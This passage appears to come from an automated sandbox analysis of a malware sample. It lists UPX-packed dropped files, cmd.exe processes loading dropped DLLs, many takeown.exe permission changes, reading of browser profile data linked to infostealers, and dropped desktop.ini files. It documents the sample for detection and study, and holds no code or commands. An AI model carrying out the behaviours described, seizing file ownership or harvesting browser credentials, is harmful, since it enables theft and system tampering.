behavioral1/files/0x00030000000131be-843.dat upx behavioral1/files/0x00030000000131be-848.dat upx behavioral1/files/0x00030000000131be-850.dat upx behavioral1/files/0x00030000000131be-851.dat upx behavioral1/files/0x00030000000131be-853.dat upx behavioral1/files/0x00030000000131be-858.dat upx behavioral1/files/0x00030000000131be-860.dat upx behavioral1/files/0x00030000000131be-861.dat upx behavioral1/files/0x00030000000131be-863.dat upx behavioral1/files/0x00030000000131be-868.dat upx behavioral1/files/0x00030000000131be-870.dat upx behavioral1/files/0x00030000000131be-871.dat upx behavioral1/files/0x00030000000131be-873.dat upx behavioral1/files/0x00030000000131be-878.dat upx behavioral1/files/0x00030000000131be-880.dat upx behavioral1/files/0x00030000000131be-881.dat upx behavioral1/files/0x00030000000131be-883.dat upx behavioral1/files/0x00030000000131be-888.dat upx behavioral1/files/0x00030000000131be-890.dat upx behavioral1/files/0x00030000000131be-891.dat upx behavioral1/files/0x00030000000131be-893.dat upx behavioral1/files/0x00030000000131be-898.dat upx behavioral1/files/0x00030000000131be-900.dat upx behavioral1/files/0x00030000000131be-901.dat upx behavioral1/files/0x00030000000131be-903.dat upx behavioral1/files/0x00030000000131be-908.dat upx behavioral1/files/0x00030000000131be-910.dat upx behavioral1/files/0x00030000000131be-911.dat upx behavioral1/files/0x00030000000131be-913.dat upx behavioral1/files/0x00030000000131be-918.dat upx behavioral1/files/0x00030000000131be-920.dat upx behavioral1/files/0x00030000000131be-921.dat upx behavioral1/files/0x00030000000131be-923.dat upx behavioral1/files/0x00030000000131be-928.dat upx behavioral1/files/0x00030000000131be-930.dat upx behavioral1/files/0x00030000000131be-931.dat upx behavioral1/files/0x00030000000131be-933.dat upx behavioral1/files/0x00030000000131be-938.dat upx behavioral1/files/0x00030000000131be-940.dat upx behavioral1/files/0x00030000000131be-941.dat upx behavioral1/files/0x00030000000131be-943.dat upx behavioral1/files/0x00030000000131be-948.dat upx behavioral1/files/0x00030000000131be-950.dat upx behavioral1/files/0x00030000000131be-951.dat upx behavioral1/files/0x00030000000131be-953.dat upx behavioral1/files/0x00030000000131be-958.dat upx behavioral1/files/0x00030000000131be-960.dat upx behavioral1/files/0x00030000000131be-961.dat upx behavioral1/files/0x00030000000131be-963.dat upx behavioral1/files/0x00030000000131be-968.dat upx behavioral1/files/0x00030000000131be-970.dat upx behavioral1/files/0x00030000000131be-971.dat upx behavioral1/files/0x00030000000131be-973.dat upx behavioral1/files/0x00030000000131be-978.dat upx behavioral1/files/0x00030000000131be-980.dat upx behavioral1/files/0x00030000000131be-981.dat upx behavioral1/files/0x00030000000131be-983.dat upx behavioral1/files/0x00030000000131be-988.dat upx behavioral1/files/0x00030000000131be-990.dat upx behavioral1/files/0x00030000000131be-991.dat upx behavioral1/files/0x00030000000131be-993.dat upx behavioral1/files/0x00030000000131be-998.dat upx behavioral1/files/0x00030000000131be-1000.dat upx behavioral1/files/0x00030000000131be-1001.dat upx behavioral1/files/0x00030000000131be-1003.dat upx behavioral1/files/0x00030000000131be-1008.dat upx behavioral1/files/0x00030000000131be-1010.dat upx behavioral1/files/0x00030000000131be-1011.dat upx behavioral1/files/0x00030000000131be-1013.dat upx behavioral1/files/0x00030000000131be-1018.dat upx behavioral1/files/0x00030000000131be-1020.dat upx behavioral1/files/0x00030000000131be-1021.dat upx behavioral1/files/0x00030000000131be-1023.dat upx behavioral1/files/0x00030000000131be-1028.dat upx behavioral1/files/0x00030000000131be-1030.dat upx behavioral1/files/0x00030000000131be-1031.dat upx behavioral1/files/0x00030000000131be-1033.dat upx behavioral1/files/0x00030000000131be-1038.dat upx behavioral1/files/0x00030000000131be-1040.dat upx behavioral1/files/0x00030000000131be-1041.dat upx behavioral1/files/0x00030000000131be-1043.dat upx behavioral1/files/0x00030000000131be-1048.dat upx behavioral1/files/0x00030000000131be-1050.dat upx behavioral1/files/0x00030000000131be-1051.dat upx behavioral1/files/0x00030000000131be-1053.dat upx behavioral1/files/0x00030000000131be-1058.dat upx behavioral1/files/0x00030000000131be-1060.dat upx behavioral1/files/0x00030000000131be-1061.dat upx behavioral1/files/0x00030000000131be-1063.dat upx behavioral1/files/0x00030000000131be-1068.dat upx behavioral1/files/0x00030000000131be-1070.dat upx behavioral1/files/0x00030000000131be-1071.dat upx behavioral1/files/0x00030000000131be-1073.dat upx behavioral1/files/0x00030000000131be-1078.dat upx behavioral1/files/0x00030000000131be-1080.dat upx behavioral1/files/0x00030000000131be-1081.dat upx behavioral1/files/0x00030000000131be-1083.dat upx behavioral1/files/0x00030000000131be-1088.dat upx behavioral1/files/0x00030000000131be-1090.dat upx behavioral1/files/0x00030000000131be-1091.dat upx behavioral1/files/0x00030000000131be-1093.dat upx behavioral1/files/0x00030000000131be-1098.dat upx behavioral1/files/0x00030000000131be-1100.dat upx behavioral1/files/0x00030000000131be-1101.dat upx behavioral1/files/0x00030000000131be-1103.dat upx behavioral1/files/0x00030000000131be-1108.dat upx behavioral1/files/0x00030000000131be-1110.dat upx behavioral1/files/0x00030000000131be-1111.dat upx behavioral1/files/0x00030000000131be-1113.dat upx behavioral1/files/0x00030000000131be-1118.dat upx behavioral1/files/0x00030000000131be-1120.dat upx behavioral1/files/0x00030000000131be-1121.dat upx behavioral1/files/0x00030000000131be-1123.dat upx behavioral1/files/0x00030000000131be-1128.dat upx behavioral1/files/0x00030000000131be-1130.dat upx behavioral1/files/0x00030000000131be-1131.dat upx behavioral1/files/0x00030000000131be-1133.dat upx behavioral1/files/0x00030000000131be-1138.dat upx behavioral1/files/0x00030000000131be-1140.dat upx behavioral1/files/0x00030000000131be-1141.dat upx behavioral1/files/0x00030000000131be-1143.dat upx behavioral1/files/0x00030000000131be-1148.dat upx behavioral1/files/0x00030000000131be-1150.dat upx behavioral1/files/0x00030000000131be-1151.dat upx behavioral1/files/0x00030000000131be-1153.dat upx behavioral1/files/0x00030000000131be-1158.dat upx behavioral1/files/0x00030000000131be-1160.dat upx behavioral1/files/0x00030000000131be-1161.dat upx behavioral1/files/0x00030000000131be-1163.dat upx behavioral1/files/0x00030000000131be-1168.dat upx behavioral1/files/0x00030000000131be-1170.dat upx behavioral1/files/0x00030000000131be-1171.dat upx behavioral1/files/0x00030000000131be-1173.dat upx behavioral1/files/0x00030000000131be-1178.dat upx behavioral1/files/0x00030000000131be-1180.dat upx behavioral1/files/0x00030000000131be-1181.dat upx behavioral1/files/0x00030000000131be-1183.dat upx behavioral1/files/0x00030000000131be-1188.dat upx behavioral1/files/0x00030000000131be-1190.dat upx behavioral1/files/0x00030000000131be-1191.dat upx behavioral1/files/0x00030000000131be-1193.dat upx behavioral1/files/0x00030000000131be-1198.dat upx behavioral1/files/0x00030000000131be-1200.dat upx behavioral1/files/0x00030000000131be-1201.dat upx behavioral1/files/0x00030000000131be-1203.dat upx behavioral1/files/0x00030000000131be-1208.dat upx behavioral1/files/0x00030000000131be-1210.dat upx behavioral1/files/0x00030000000131be-1211.dat upx behavioral1/files/0x00030000000131be-1213.dat upx behavioral1/files/0x00030000000131be-1218.dat upx behavioral1/files/0x00030000000131be-1220.dat upx behavioral1/files/0x00030000000131be-1221.dat upx behavioral1/files/0x00030000000131be-1223.dat upx behavioral1/files/0x00030000000131be-1229.dat upx behavioral1/files/0x00030000000131be-1231.dat upx behavioral1/files/0x00030000000131be-1232.dat upx behavioral1/files/0x00030000000131be-1234.dat upx behavioral1/files/0x00030000000131be-1239.dat upx behavioral1/files/0x00030000000131be-1241.dat upx behavioral1/files/0x00030000000131be-1242.dat upx behavioral1/files/0x00030000000131be-1244.dat upx behavioral1/files/0x00030000000131be-1249.dat upx behavioral1/files/0x00030000000131be-1251.dat upx behavioral1/files/0x00030000000131be-1252.dat upx behavioral1/files/0x00030000000131be-1254.dat upx behavioral1/files/0x00030000000131be-1259.dat upx behavioral1/files/0x00030000000131be-1261.dat upx behavioral1/files/0x00030000000131be-1262.dat upx behavioral1/files/0x00030000000131be-1264.dat upx behavioral1/files/0x00030000000131be-1269.dat upx behavioral1/files/0x00030000000131be-1271.dat upx behavioral1/files/0x00030000000131be-1272.dat upx behavioral1/files/0x00030000000131be-1274.dat upx behavioral1/files/0x00030000000131be-1279.dat upx behavioral1/files/0x00030000000131be-1281.dat upx behavioral1/files/0x00030000000131be-1282.dat upx behavioral1/files/0x00030000000131be-1284.dat upx behavioral1/files/0x00030000000131be-1289.dat upx behavioral1/files/0x00030000000131be-1291.dat upx behavioral1/files/0x00030000000131be-1292.dat upx behavioral1/files/0x00030000000131be-1294.dat upx behavioral1/files/0x00030000000131be-1299.dat upx behavioral1/files/0x00030000000131be-1301.dat upx behavioral1/files/0x00030000000131be-1302.dat upx behavioral1/files/0x00030000000131be-1304.dat upx behavioral1/files/0x00030000000131be-1309.dat upx behavioral1/files/0x00030000000131be-1311.dat upx behavioral1/files/0x00030000000131be-1312.dat upx behavioral1/files/0x00030000000131be-1314.dat upx behavioral1/files/0x00030000000131be-1319.dat upx behavioral1/files/0x00030000000131be-1321.dat upx behavioral1/files/0x00030000000131be-1322.dat upx behavioral1/files/0x00030000000131be-1324.dat upx behavioral1/files/0x00030000000131be-1329.dat upx behavioral1/files/0x00030000000131be-1331.dat upx behavioral1/files/0x00030000000131be-1332.dat upx behavioral1/files/0x00030000000131be-1334.dat upx behavioral1/files/0x00030000000131be-1339.dat upx behavioral1/files/0x00030000000131be-1341.dat upx behavioral1/files/0x00030000000131be-1342.dat upx behavioral1/files/0x00030000000131be-1344.dat upx behavioral1/files/0x00030000000131be-1349.dat upx behavioral1/files/0x00030000000131be-1351.dat upx behavioral1/files/0x00030000000131be-1352.dat upx behavioral1/files/0x00030000000131be-1354.dat upx behavioral1/files/0x00030000000131be-1359.dat upx behavioral1/files/0x00030000000131be-1361.dat upx behavioral1/files/0x00030000000131be-1362.dat upx behavioral1/files/0x00030000000131be-1364.dat upx behavioral1/files/0x00030000000131be-1369.dat upx behavioral1/files/0x00030000000131be-1371.dat upx behavioral1/files/0x00030000000131be-1372.dat upx behavioral1/files/0x00030000000131be-1374.dat upx behavioral1/files/0x00030000000131be-1379.dat upx behavioral1/files/0x00030000000131be-1381.dat upx behavioral1/files/0x00030000000131be-1382.dat upx behavioral1/files/0x00030000000131be-1384.dat upx behavioral1/files/0x00030000000131be-1389.dat upx behavioral1/files/0x00030000000131be-1391.dat upx behavioral1/files/0x00030000000131be-1392.dat upx behavioral1/files/0x00030000000131be-1394.dat upx behavioral1/files/0x00030000000131be-1399.dat upx behavioral1/files/0x00030000000131be-1401.dat upx behavioral1/files/0x00030000000131be-1402.dat upx behavioral1/files/0x00030000000131be-1404.dat upx behavioral1/files/0x00030000000131be-1409.dat upx behavioral1/files/0x00030000000131be-1411.dat upx behavioral1/files/0x00030000000131be-1412.dat upx behavioral1/files/0x00030000000131be-1414.dat upx behavioral1/files/0x00030000000131be-1419.dat upx behavioral1/files/0x00030000000131be-1421.dat upx behavioral1/files/0x00030000000131be-1422.dat upx behavioral1/files/0x00030000000131be-1424.dat upx behavioral1/files/0x00030000000131be-1429.dat upx behavioral1/files/0x00030000000131be-1431.dat upx behavioral1/files/0x00030000000131be-1432.dat upx behavioral1/files/0x00030000000131be-1434.dat upx behavioral1/files/0x00030000000131be-1440.dat upx behavioral1/files/0x00030000000131be-1442.dat upx behavioral1/files/0x00030000000131be-1443.dat upx behavioral1/files/0x00030000000131be-1445.dat upx behavioral1/files/0x00030000000131be-1451.dat upx behavioral1/files/0x00030000000131be-1453.dat upx behavioral1/files/0x00030000000131be-1455.dat upx behavioral1/files/0x00030000000131be-1457.dat upx behavioral1/files/0x00030000000131be-1462.dat upx behavioral1/files/0x00030000000131be-1464.dat upx behavioral1/files/0x00030000000131be-1465.dat upx behavioral1/files/0x00030000000131be-1467.dat upx behavioral1/files/0x00030000000131be-1472.dat upx behavioral1/files/0x00030000000131be-1474.dat upx behavioral1/files/0x00030000000131be-1475.dat upx behavioral1/files/0x00030000000131be-1477.dat upx behavioral1/files/0x00030000000131be-1482.dat upx behavioral1/files/0x00030000000131be-1484.dat upx behavioral1/files/0x00030000000131be-1485.dat upx behavioral1/files/0x00030000000131be-1487.dat upx behavioral1/files/0x00030000000131be-1492.dat upx behavioral1/files/0x00030000000131be-1494.dat upx behavioral1/files/0x00030000000131be-1495.dat upx behavioral1/files/0x00030000000131be-1497.dat upx behavioral1/files/0x00030000000131be-1502.dat upx behavioral1/files/0x00030000000131be-1504.dat upx behavioral1/files/0x00030000000131be-1505.dat upx behavioral1/files/0x00030000000131be-1507.dat upx behavioral1/files/0x00030000000131be-1512.dat upx behavioral1/files/0x00030000000131be-1514.dat upx behavioral1/files/0x00030000000131be-1515.dat upx behavioral1/files/0x00030000000131be-1517.dat upx behavioral1/files/0x00030000000131be-1522.dat upx behavioral1/files/0x00030000000131be-1524.dat upx behavioral1/files/0x00030000000131be-1525.dat upx behavioral1/files/0x00030000000131be-1527.dat upx behavioral1/files/0x00030000000131be-1532.dat upx behavioral1/files/0x00030000000131be-1534.dat upx behavioral1/files/0x00030000000131be-1535.dat upx behavioral1/files/0x00030000000131be-1537.dat upx behavioral1/files/0x00030000000131be-1542.dat upx behavioral1/files/0x00030000000131be-1544.dat upx behavioral1/files/0x00030000000131be-1545.dat upx behavioral1/files/0x00030000000131be-1547.dat upx behavioral1/files/0x00030000000131be-1552.dat upx behavioral1/files/0x00030000000131be-1554.dat upx behavioral1/files/0x00030000000131be-1555.dat upx behavioral1/files/0x00030000000131be-1557.dat upx behavioral1/files/0x00030000000131be-1562.dat upx behavioral1/files/0x00030000000131be-1564.dat upx behavioral1/files/0x00030000000131be-1565.dat upx behavioral1/files/0x00030000000131be-1567.dat upx behavioral1/files/0x00030000000131be-1572.dat upx behavioral1/files/0x00030000000131be-1574.dat upx behavioral1/files/0x00030000000131be-1575.dat upx behavioral1/files/0x00030000000131be-1577.dat upx behavioral1/files/0x00030000000131be-1582.dat upx behavioral1/files/0x00030000000131be-1584.dat upx behavioral1/files/0x00030000000131be-1585.dat upx behavioral1/files/0x00030000000131be-1587.dat upx behavioral1/files/0x00030000000131be-1592.dat upx behavioral1/files/0x00030000000131be-1594.dat upx behavioral1/files/0x00030000000131be-1595.dat upx behavioral1/files/0x00030000000131be-1597.dat upx behavioral1/files/0x00030000000131be-1602.dat upx behavioral1/files/0x00030000000131be-1604.dat upx behavioral1/files/0x00030000000131be-1605.dat upx behavioral1/files/0x00030000000131be-1607.dat upx behavioral1/files/0x00030000000131be-1612.dat upx behavioral1/files/0x00030000000131be-1614.dat upx behavioral1/files/0x00030000000131be-1615.dat upx behavioral1/files/0x00030000000131be-1617.dat upx behavioral1/files/0x00030000000131be-1622.dat upx behavioral1/files/0x00030000000131be-1624.dat upx behavioral1/files/0x00030000000131be-1625.dat upx behavioral1/files/0x00030000000131be-1627.dat upx behavioral1/files/0x00030000000131be-1632.dat upx behavioral1/files/0x00030000000131be-1634.dat upx behavioral1/files/0x00030000000131be-1635.dat upx behavioral1/files/0x00030000000131be-1637.dat upx behavioral1/files/0x00030000000131be-1642.dat upx behavioral1/files/0x00030000000131be-1644.dat upx behavioral1/files/0x00030000000131be-1645.dat upx behavioral1/files/0x00030000000131be-1647.dat upx behavioral1/files/0x00030000000131be-1652.dat upx behavioral1/files/0x00030000000131be-1654.dat upx behavioral1/files/0x00030000000131be-1655.dat upx behavioral1/files/0x00030000000131be-1657.dat upx behavioral1/files/0x00030000000131be-1662.dat upx behavioral1/files/0x00030000000131be-1664.dat upx behavioral1/files/0x00030000000131be-1665.dat upx behavioral1/files/0x00030000000131be-1667.dat upx behavioral1/files/0x00030000000131be-1672.dat upx behavioral1/files/0x00030000000131be-1674.dat upx behavioral1/files/0x00030000000131be-1675.dat upx behavioral1/files/0x00030000000131be-1677.dat upx behavioral1/files/0x00030000000131be-1682.dat upx behavioral1/files/0x00030000000131be-1684.dat upx behavioral1/files/0x00030000000131be-1685.dat upx behavioral1/files/0x00030000000131be-1687.dat upx behavioral1/files/0x00030000000131be-1692.dat upx behavioral1/files/0x00030000000131be-1694.dat upx behavioral1/files/0x00030000000131be-1695.dat upx behavioral1/files/0x00030000000131be-1697.dat upx behavioral1/files/0x00030000000131be-1702.dat upx behavioral1/files/0x00030000000131be-1704.dat upx behavioral1/files/0x00030000000131be-1705.dat upx behavioral1/files/0x00030000000131be-1707.dat upx behavioral1/files/0x00030000000131be-1712.dat upx behavioral1/files/0x00030000000131be-1714.dat upx behavioral1/files/0x00030000000131be-1715.dat upx behavioral1/files/0x00030000000131be-1717.dat upx behavioral1/files/0x00030000000131be-1722.dat upx behavioral1/files/0x00030000000131be-1724.dat upx behavioral1/files/0x00030000000131be-1725.dat upx behavioral1/files/0x00030000000131be-1727.dat upx behavioral1/files/0x00030000000131be-1732.dat upx behavioral1/files/0x00030000000131be-1734.dat upx behavioral1/files/0x00030000000131be-1735.dat upx behavioral1/files/0x00030000000131be-1737.dat upx behavioral1/files/0x00030000000131be-1742.dat upx behavioral1/files/0x00030000000131be-1744.dat upx behavioral1/files/0x00030000000131be-1745.dat upx behavioral1/files/0x00030000000131be-1747.dat upx behavioral1/files/0x00030000000131be-1752.dat upx behavioral1/files/0x00030000000131be-1754.dat upx behavioral1/files/0x00030000000131be-1755.dat upx behavioral1/files/0x00030000000131be-1757.dat upx behavioral1/files/0x00030000000131be-1762.dat upx behavioral1/files/0x00030000000131be-1764.dat upx behavioral1/files/0x00030000000131be-1765.dat upx behavioral1/files/0x00030000000131be-1767.dat upx behavioral1/files/0x00030000000131be-1772.dat upx behavioral1/files/0x00030000000131be-1774.dat upx behavioral1/files/0x00030000000131be-1775.dat upx behavioral1/files/0x00030000000131be-1777.dat upx behavioral1/files/0x00030000000131be-1782.dat upx behavioral1/files/0x00030000000131be-1784.dat upx behavioral1/files/0x00030000000131be-1785.dat upx behavioral1/files/0x00030000000131be-1787.dat upx behavioral1/files/0x00030000000131be-1792.dat upx behavioral1/files/0x00030000000131be-1794.dat upx behavioral1/files/0x00030000000131be-1795.dat upx behavioral1/files/0x00030000000131be-1797.dat upx behavioral1/files/0x00030000000131be-1802.dat upx behavioral1/files/0x00030000000131be-1804.dat upx behavioral1/files/0x00030000000131be-1805.dat upx behavioral1/files/0x00030000000131be-1807.dat upx behavioral1/files/0x00030000000131be-1812.dat upx behavioral1/files/0x00030000000131be-1814.dat upx behavioral1/files/0x00030000000131be-1815.dat upx behavioral1/files/0x00030000000131be-1817.dat upx behavioral1/files/0x00030000000131be-1822.dat upx behavioral1/files/0x00030000000131be-1824.dat upx behavioral1/files/0x00030000000131be-1825.dat upx behavioral1/files/0x00030000000131be-1827.dat upx -
Loads dropped DLL 362 IoCs
pid Process 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 1968 cmd.exe 1992 gAw1Zqdb.exe 980 cmd.exe 616 cmd.exe 1056 cmd.exe 1372 cmd.exe 1932 cmd.exe 732 cmd.exe 548 cmd.exe 1212 cmd.exe 792 cmd.exe 1776 cmd.exe 968 cmd.exe 956 cmd.exe 2016 cmd.exe 1972 cmd.exe 1540 cmd.exe 2004 cmd.exe 1880 cmd.exe 1056 cmd.exe 624 cmd.exe 336 cmd.exe 792 cmd.exe 2020 cmd.exe 2000 cmd.exe 1848 cmd.exe 908 cmd.exe 1780 cmd.exe 1096 cmd.exe 1700 cmd.exe 1056 cmd.exe 1184 cmd.exe 2016 cmd.exe 624 cmd.exe 1756 cmd.exe 340 cmd.exe 616 cmd.exe 1056 cmd.exe 2020 cmd.exe 1780 cmd.exe 764 cmd.exe 956 cmd.exe 868 cmd.exe 1972 cmd.exe 1700 cmd.exe 328 cmd.exe 1932 cmd.exe 1848 cmd.exe 2020 cmd.exe 1108 cmd.exe 1928 cmd.exe 2000 cmd.exe 1312 cmd.exe 616 cmd.exe 1328 cmd.exe 1820 cmd.exe 1196 cmd.exe 836 cmd.exe 1888 cmd.exe 1492 cmd.exe 856 cmd.exe 2008 cmd.exe 316 cmd.exe 1932 cmd.exe 1012 cmd.exe 2020 cmd.exe 2024 cmd.exe 564 cmd.exe 972 cmd.exe 1232 cmd.exe 1372 cmd.exe 1040 cmd.exe 1928 cmd.exe 928 cmd.exe 340 cmd.exe 1184 cmd.exe 1196 cmd.exe 1880 cmd.exe 1444 cmd.exe 1544 cmd.exe 832 cmd.exe 1776 cmd.exe 1308 cmd.exe 1700 cmd.exe 2004 cmd.exe 596 cmd.exe 1756 cmd.exe 1896 cmd.exe 1120 cmd.exe 1900 cmd.exe 1168 cmd.exe 1048 cmd.exe 240 cmd.exe 624 cmd.exe 1624 cmd.exe 1004 cmd.exe 928 cmd.exe 1096 cmd.exe 340 cmd.exe 1040 cmd.exe 2008 cmd.exe 1540 cmd.exe 1784 cmd.exe 1120 cmd.exe 336 cmd.exe 1412 cmd.exe 616 cmd.exe 1160 cmd.exe 1004 cmd.exe 2044 cmd.exe 1900 cmd.exe 1492 cmd.exe 1184 cmd.exe 336 cmd.exe 1308 cmd.exe 616 cmd.exe 928 cmd.exe 732 cmd.exe 1184 cmd.exe 1932 cmd.exe 2028 cmd.exe 1984 cmd.exe 1888 cmd.exe 2044 cmd.exe 1052 cmd.exe 1040 cmd.exe 1984 cmd.exe 616 cmd.exe 2044 cmd.exe 2020 cmd.exe 1040 cmd.exe 952 cmd.exe 844 cmd.exe 904 cmd.exe 1452 cmd.exe 1068 cmd.exe 1132 cmd.exe 992 cmd.exe 2008 cmd.exe 1364 cmd.exe 1248 cmd.exe 1896 cmd.exe 1532 cmd.exe 1984 cmd.exe 844 cmd.exe 832 cmd.exe 1212 cmd.exe 336 cmd.exe 948 cmd.exe 1700 cmd.exe 1104 cmd.exe 1328 cmd.exe 552 cmd.exe 928 cmd.exe 1780 cmd.exe 1364 cmd.exe 616 cmd.exe 1452 cmd.exe 1212 cmd.exe 1132 cmd.exe 764 cmd.exe 1940 cmd.exe 732 cmd.exe 952 cmd.exe 1196 cmd.exe 1604 cmd.exe 428 cmd.exe 696 cmd.exe 952 cmd.exe 1888 cmd.exe 1896 cmd.exe 1756 cmd.exe 904 cmd.exe 1104 cmd.exe 2008 cmd.exe 792 cmd.exe 1756 cmd.exe 1248 cmd.exe 1096 cmd.exe 1048 cmd.exe 952 cmd.exe 1540 cmd.exe 1932 cmd.exe 696 cmd.exe 564 cmd.exe 240 cmd.exe 1364 cmd.exe 832 cmd.exe 1096 cmd.exe 1956 cmd.exe 1940 cmd.exe 2028 cmd.exe 872 cmd.exe 2044 cmd.exe 1196 cmd.exe 2000 cmd.exe 1408 cmd.exe 1548 cmd.exe 732 cmd.exe 1788 cmd.exe 1040 cmd.exe 1896 cmd.exe 1308 cmd.exe 1408 cmd.exe 300 cmd.exe 1900 cmd.exe 1212 cmd.exe 1756 cmd.exe 552 cmd.exe 1364 cmd.exe 792 cmd.exe 1096 cmd.exe 928 cmd.exe 1780 cmd.exe 1184 cmd.exe 1048 cmd.exe 1212 cmd.exe 240 cmd.exe 948 cmd.exe 2008 cmd.exe 1052 cmd.exe 1004 cmd.exe 792 cmd.exe 1212 cmd.exe 300 cmd.exe 1932 cmd.exe 1184 cmd.exe 1372 cmd.exe 1212 cmd.exe 732 cmd.exe 624 cmd.exe 1788 cmd.exe 1040 cmd.exe 1984 cmd.exe 928 cmd.exe 1056 cmd.exe 764 cmd.exe 336 cmd.exe 428 cmd.exe 1196 cmd.exe 204 cmd.exe 844 cmd.exe 764 cmd.exe 1940 cmd.exe 832 cmd.exe 904 cmd.exe 228 cmd.exe 1956 cmd.exe 1328 cmd.exe 1168 cmd.exe 1932 cmd.exe 1788 cmd.exe 596 cmd.exe 1408 cmd.exe 764 cmd.exe 1604 cmd.exe 1012 cmd.exe 1168 cmd.exe 868 cmd.exe 1248 cmd.exe 1328 cmd.exe 1408 cmd.exe 1900 cmd.exe 1184 cmd.exe 236 cmd.exe 1168 cmd.exe 1108 cmd.exe 904 cmd.exe 1984 cmd.exe 1408 cmd.exe 1040 cmd.exe 1928 cmd.exe 792 cmd.exe 2000 cmd.exe 948 cmd.exe 1756 cmd.exe 1780 cmd.exe 212 cmd.exe 1884 cmd.exe 1940 cmd.exe 236 cmd.exe 948 cmd.exe 904 cmd.exe 2044 cmd.exe 1840 cmd.exe 1888 cmd.exe 732 cmd.exe 2020 cmd.exe 1196 cmd.exe 240 cmd.exe 1408 cmd.exe 2016 cmd.exe 992 cmd.exe 1168 cmd.exe 1884 cmd.exe 832 cmd.exe 1444 cmd.exe 1452 cmd.exe 992 cmd.exe 928 cmd.exe 1884 cmd.exe 1940 cmd.exe 1364 cmd.exe 2028 cmd.exe 992 cmd.exe 1328 cmd.exe 940 cmd.exe 760 cmd.exe 1056 cmd.exe 856 cmd.exe 616 cmd.exe 1372 cmd.exe 624 cmd.exe 1120 cmd.exe 952 cmd.exe 1928 cmd.exe 1100 cmd.exe 948 cmd.exe 224 cmd.exe 1308 cmd.exe 1052 cmd.exe 2028 cmd.exe 1716 cmd.exe 2044 cmd.exe 1040 cmd.exe 1004 cmd.exe 300 cmd.exe 696 cmd.exe 800 cmd.exe 1372 cmd.exe 1364 cmd.exe 1840 cmd.exe 336 cmd.exe 2016 cmd.exe 1120 cmd.exe 1096 cmd.exe 1788 cmd.exe 1308 cmd.exe 1100 cmd.exe 872 cmd.exe 224 cmd.exe 1540 cmd.exe 1788 cmd.exe 1248 cmd.exe 928 cmd.exe 428 cmd.exe 1884 cmd.exe 240 cmd.exe 1928 cmd.exe 1364 cmd.exe 1168 cmd.exe 1940 cmd.exe 680 cmd.exe 696 cmd.exe 1040 cmd.exe 240 cmd.exe 928 cmd.exe 1364 cmd.exe 1176 cmd.exe 1716 cmd.exe -
Modifies file permissions 1 TTPs 180 IoCs
pid Process 1056 takeown.exe 1452 takeown.exe 1308 takeown.exe 1104 takeown.exe 616 takeown.exe 300 takeown.exe 904 takeown.exe 1604 takeown.exe 1132 takeown.exe 968 takeown.exe 844 takeown.exe 1160 takeown.exe 832 takeown.exe 1048 takeown.exe 1104 takeown.exe 1012 takeown.exe 1168 takeown.exe 564 takeown.exe 940 takeown.exe 1980 takeown.exe 972 takeown.exe 844 takeown.exe 1132 takeown.exe 940 takeown.exe 1644 takeown.exe 1548 takeown.exe 940 takeown.exe 2044 takeown.exe 1056 takeown.exe 1452 takeown.exe 1984 takeown.exe 216 takeown.exe 800 takeown.exe 336 takeown.exe 240 takeown.exe 1364 takeown.exe 1884 takeown.exe 1068 takeown.exe 872 takeown.exe 1644 takeown.exe 844 takeown.exe 1544 takeown.exe 328 takeown.exe 300 takeown.exe 428 takeown.exe 760 takeown.exe 616 takeown.exe 940 takeown.exe 792 takeown.exe 1548 takeown.exe 1884 takeown.exe 1540 takeown.exe 1432 takeown.exe 868 takeown.exe 1184 takeown.exe 1932 takeown.exe 1040 takeown.exe 1232 takeown.exe 972 takeown.exe 564 takeown.exe 2028 takeown.exe 1780 takeown.exe 616 takeown.exe 1940 takeown.exe 1168 takeown.exe 1232 takeown.exe 1100 takeown.exe 1120 takeown.exe 1884 takeown.exe 1880 takeown.exe 1104 takeown.exe 1212 takeown.exe 948 takeown.exe 872 takeown.exe 1096 takeown.exe 1540 takeown.exe 564 takeown.exe 1312 takeown.exe 2028 takeown.exe 300 takeown.exe 2008 takeown.exe 1408 takeown.exe 948 takeown.exe 940 takeown.exe 2008 takeown.exe 1940 takeown.exe 1700 takeown.exe 872 takeown.exe 1540 takeown.exe 1896 takeown.exe 204 takeown.exe 1928 takeown.exe 2000 takeown.exe 1248 takeown.exe 616 takeown.exe 1132 takeown.exe 928 takeown.exe 428 takeown.exe 2016 takeown.exe 548 takeown.exe 856 takeown.exe 416 takeown.exe 1364 takeown.exe 1012 takeown.exe 2028 takeown.exe 1548 takeown.exe 240 takeown.exe 1820 takeown.exe 1964 takeown.exe 1248 takeown.exe 1932 takeown.exe 1788 takeown.exe 1176 takeown.exe 1532 takeown.exe 1328 takeown.exe 1896 takeown.exe 1896 takeown.exe 1108 takeown.exe 1700 takeown.exe 1940 takeown.exe 1168 takeown.exe 1820 takeown.exe 1104 takeown.exe 1052 takeown.exe 1176 takeown.exe 952 takeown.exe 1784 takeown.exe 1444 takeown.exe 2000 takeown.exe 760 takeown.exe 1184 takeown.exe 2024 takeown.exe 1928 takeown.exe 1108 takeown.exe 1120 takeown.exe 1196 takeown.exe 1604 takeown.exe 616 takeown.exe 1408 takeown.exe 340 takeown.exe 1004 takeown.exe 1364 takeown.exe 1840 takeown.exe 844 takeown.exe 1176 takeown.exe 548 takeown.exe 2044 takeown.exe 1780 takeown.exe 1888 takeown.exe 564 takeown.exe 1548 takeown.exe 1956 takeown.exe 1604 takeown.exe 232 takeown.exe 1884 takeown.exe 764 takeown.exe 1212 takeown.exe 1108 takeown.exe 340 takeown.exe 240 takeown.exe 1604 takeown.exe 428 takeown.exe 868 takeown.exe 1940 takeown.exe 1940 takeown.exe 212 takeown.exe 1040 takeown.exe 1328 takeown.exe 940 takeown.exe 1196 takeown.exe 2016 takeown.exe 2000 takeown.exe 680 takeown.exe 1532 takeown.exe 1040 takeown.exe 316 takeown.exe 940 takeown.exe 940 takeown.exe 1096 takeown.exe 872 takeown.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Drops desktop.ini file(s) 34 IoCs
